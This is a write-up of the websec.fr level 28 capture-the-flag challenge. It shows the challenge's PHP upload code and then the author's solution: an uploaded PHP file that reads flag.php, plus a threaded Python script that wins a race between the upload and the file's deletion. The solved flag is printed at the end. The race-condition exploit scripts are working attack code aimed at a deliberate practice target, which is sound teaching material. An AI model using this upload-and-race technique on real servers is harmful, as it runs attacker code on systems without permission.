Post

Websec.fr level 28 - baby steps

The level

image image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if(isset($_POST['submit'])) {
  if ($_FILES['flag_file']['size'] > 4096) {
    die('Your file is too heavy.');
  }
  $filename = './tmp/' . md5($_SERVER['REMOTE_ADDR']) . '.php';

  $fp = fopen($_FILES['flag_file']['tmp_name'], 'r');
  $flagfilecontent = fread($fp, filesize($_FILES['flag_file']['tmp_name']));
  @fclose($fp);

    file_put_contents($filename, $flagfilecontent);
  if (md5_file($filename) === md5_file('flag.php') && $_POST['checksum'] == crc32($_POST['checksum'])) {
    include($filename);  // it contains the `$flag` variable
    } else {
        $flag = "Nope, $filename is not the right file, sorry.";
        sleep(1);  // Deter bruteforce
    }

  unlink($filename);
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<!DOCTYPE html>
<html>
<head>
  <title>#WebSec Level 28</title>
  <link rel='stylesheet' href='../static/bootstrap.min.css' />
</head>
  <body>
    <div id='main'>
      <div class='container'>
        <div class='row'>
          <h1>Level TwentyEight<small> - Please be our guess.</small></h1>
        </div>
        <div class='row'>
                    <p class='lead'>
                        Like a lot of CTF, we're doing some <s>ucucuga</s> guessing challenges now, because everyone loves them.<br/>
            You can check the source <a href='./source.php'>here</a>.
          </p>
        </div>
      </div>
      <div class='container '>
        <div class='row '>
                <label for='user_id'>Please upload the <code>flag.php</code> file, and enter its checksum:</label>
          <form action='' method='post' enctype='multipart/form-data' class="form-inline">
                <div class='form-group'>
              <label class="btn btn-default">
                Select file <input type='file' name='flag_file' id='flag_file' hidden class="hidden">
              </label>
            </div>
                      <div class="form-group">
                        <div class="input-group">
                <div class="input-group-addon">checksum</div>
                <input type='text' name='checksum' id='checksum' class="form-control"> <br>
              </div>
            </div>
            <div class="form-group">
              <input type='submit' value='Upload and check' class="btn btn-default" name='submit'>
            </div>
          </form>
        </div>
      </div>

      <br/>

      <div class='container'>
        <p class="well"><?php if (isset($flag)){ echo $flag; } else { echo 'Can you guess it?'; }?></p>
      </div>
    </div>
  </body>
</html>

OK, let’s look at the top php script, what is happening there ?

  1. Checking if the file is ‘too heavy’.
  2. Making a new file on the tmp dir with the name “md5(your_ip).php”.
  3. reading the contents of “flag_file” that is uploaded into $filename.
  4. Then, compare the md5 of “flag_file” uploaded to “flag.php” (which I assume is on the server). Compare the uploaded ‘checksum’ into it’s own crc32 hash.
  5. If so, include our file in the server. If not, sleep for 1 second, then delete our uploaded file.

Interesting !!! I want to first see we can upload an http request to the server.

1
2
3
4
5
6
7
8
// show_flag.php
<?php
// Read the contents of the "flag.php" file
$flag_content = file_get_contents("/flag.php");

// Display the contents of the file
echo $flag_content;
?>
1
2
3
4
5
6
7
8
9
10
11
import requests

url = 'https://websec.fr/level28/index.php'


files = {'flag_file': open('show_flag.php', 'rb')}
data = {'submit': 'Upload and check', 'checksum': '1234'}

response = requests.post(url, files=files, data=data)

print(response.text)

I get

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<!DOCTYPE html>
<html>
<head>
  <title>#WebSec Level 28</title>
  <link rel='stylesheet' href='../static/bootstrap.min.css' />
</head>
  <body>
    <div id='main'>
      <div class='container'>
        <div class='row'>
          <h1>Level TwentyEight<small> - Please be our guess.</small></h1>
        </div>
        <div class='row'>
					<p class='lead'>
						Like a lot of CTF, we're doing some <s>ucucuga</s> guessing challenges now, because everyone loves them.<br/>
            You can check the source <a href='./source.php'>here</a>.
          </p>
        </div>
      </div>
      <div class='container '>
        <div class='row '>
  			  <label for='user_id'>Please upload the <code>flag.php</code> file, and enter its checksum:</label>
          <form action='' method='post' enctype='multipart/form-data' class="form-inline">
  		      <div class='form-group'>
              <label class="btn btn-default">
                Select file <input type='file' name='flag_file' id='flag_file' hidden class="hidden">
              </label>
            </div>
					  <div class="form-group">
					    <div class="input-group">
                <div class="input-group-addon">checksum</div>
                <input type='text' name='checksum' id='checksum' class="form-control"> <br>
              </div>
            </div>
            <div class="form-group">
              <input type='submit' value='Upload and check' class="btn btn-default" name='submit'>
            </div>
          </form>
        </div>
      </div>

      <br/>

      <div class='container'>
        <p class="well">Nope, ./tmp/7e781f40391260a5b6f1a41a4ecedd7c.php is not the right file, sorry.</p>
      </div>
    </div>
  </body>
</html>

Ok, so we didn’t solve the ctf, but we got where our file is uploaded into (./tmp/7e781f40391260a5b6f1a41a4ecedd7c.php) Sweet !

Next, I want to figure out if there is a number x that fulfill (x == crc32(x))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import zlib
import random

def find_checksum():
    while True:
        x = random.randint(0, 2 ** 32 - 1)

        checksum = zlib.crc32(str(x).encode())

        if checksum == x:
            return x


checksum_value = find_checksum()
print("Checksum value:", checksum_value)

I get no output for this. (I can’t find an x value that matches the condition)

What I found is that if you put an array for checksum, the crc32 might return something else. Let’s check

1
2
3
4
5
6
7
8
9
10
<?php
// Define the checksum array
$checksum = [123];

// Calculate the CRC32 checksum of the string
$crc32Checksum = crc32($checksumString);

// Output the CRC32 checksum
echo "CRC32 Checksum: " . $crc32Checksum;
?>

we get CRC32 Checksum: 0 (false)

So maybe we can bypass the checksum check, but we can’t pass the md5 check because we can’t possibly know the flag.php md5 hash.

So, what did we say happends at the “else” condition of that if ?

1
2
3
4
else {
        $flag = "Nope, $filename is not the right file, sorry.";
        sleep(1);  // Deter bruteforce
}

One second is a lot of time. Basically, we can upload our file to the server, and get it right away before the file is deleted. This is how it would look:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import threading
import requests

post_url = 'https://websec.fr/level28/index.php'
flag_url = 'https://websec.fr/level28/tmp/7e781f40391260a5b6f1a41a4ecedd7c.php'

files = {'flag_file': ('show_flag.php', open("show_flag.php", "r").read())}
data = {'checksum': '123', 'submit': 'Upload and check'}


def post_file():
    while True:
        requests.post(post_url, files=files, data=data)


def read_file():
    while True:
        file_result = requests.get(flag_url)
        print(file_result.text)


if __name__ == '__main__':
    th1 = threading.Thread(target=post_file)
    th2 = threading.Thread(target=read_file)

    th1.start()
    th2.start()
  1. Create two functions, one for uploading and the other for reading the file from the server continuously
  2. create 2 threads for each function so it will happen simultaneously

Output:

1
2
3
4
5
<?php

$flag = 'WEBSEC{Can_w3_please_h4ve_mutexes_in_PHP_naow?_Wait_there_is_a_pthread_module_for_php?!_Awwww:/}';

<?php

We did it ! Thanks for reading

This post is licensed under CC BY 4.0 by the author.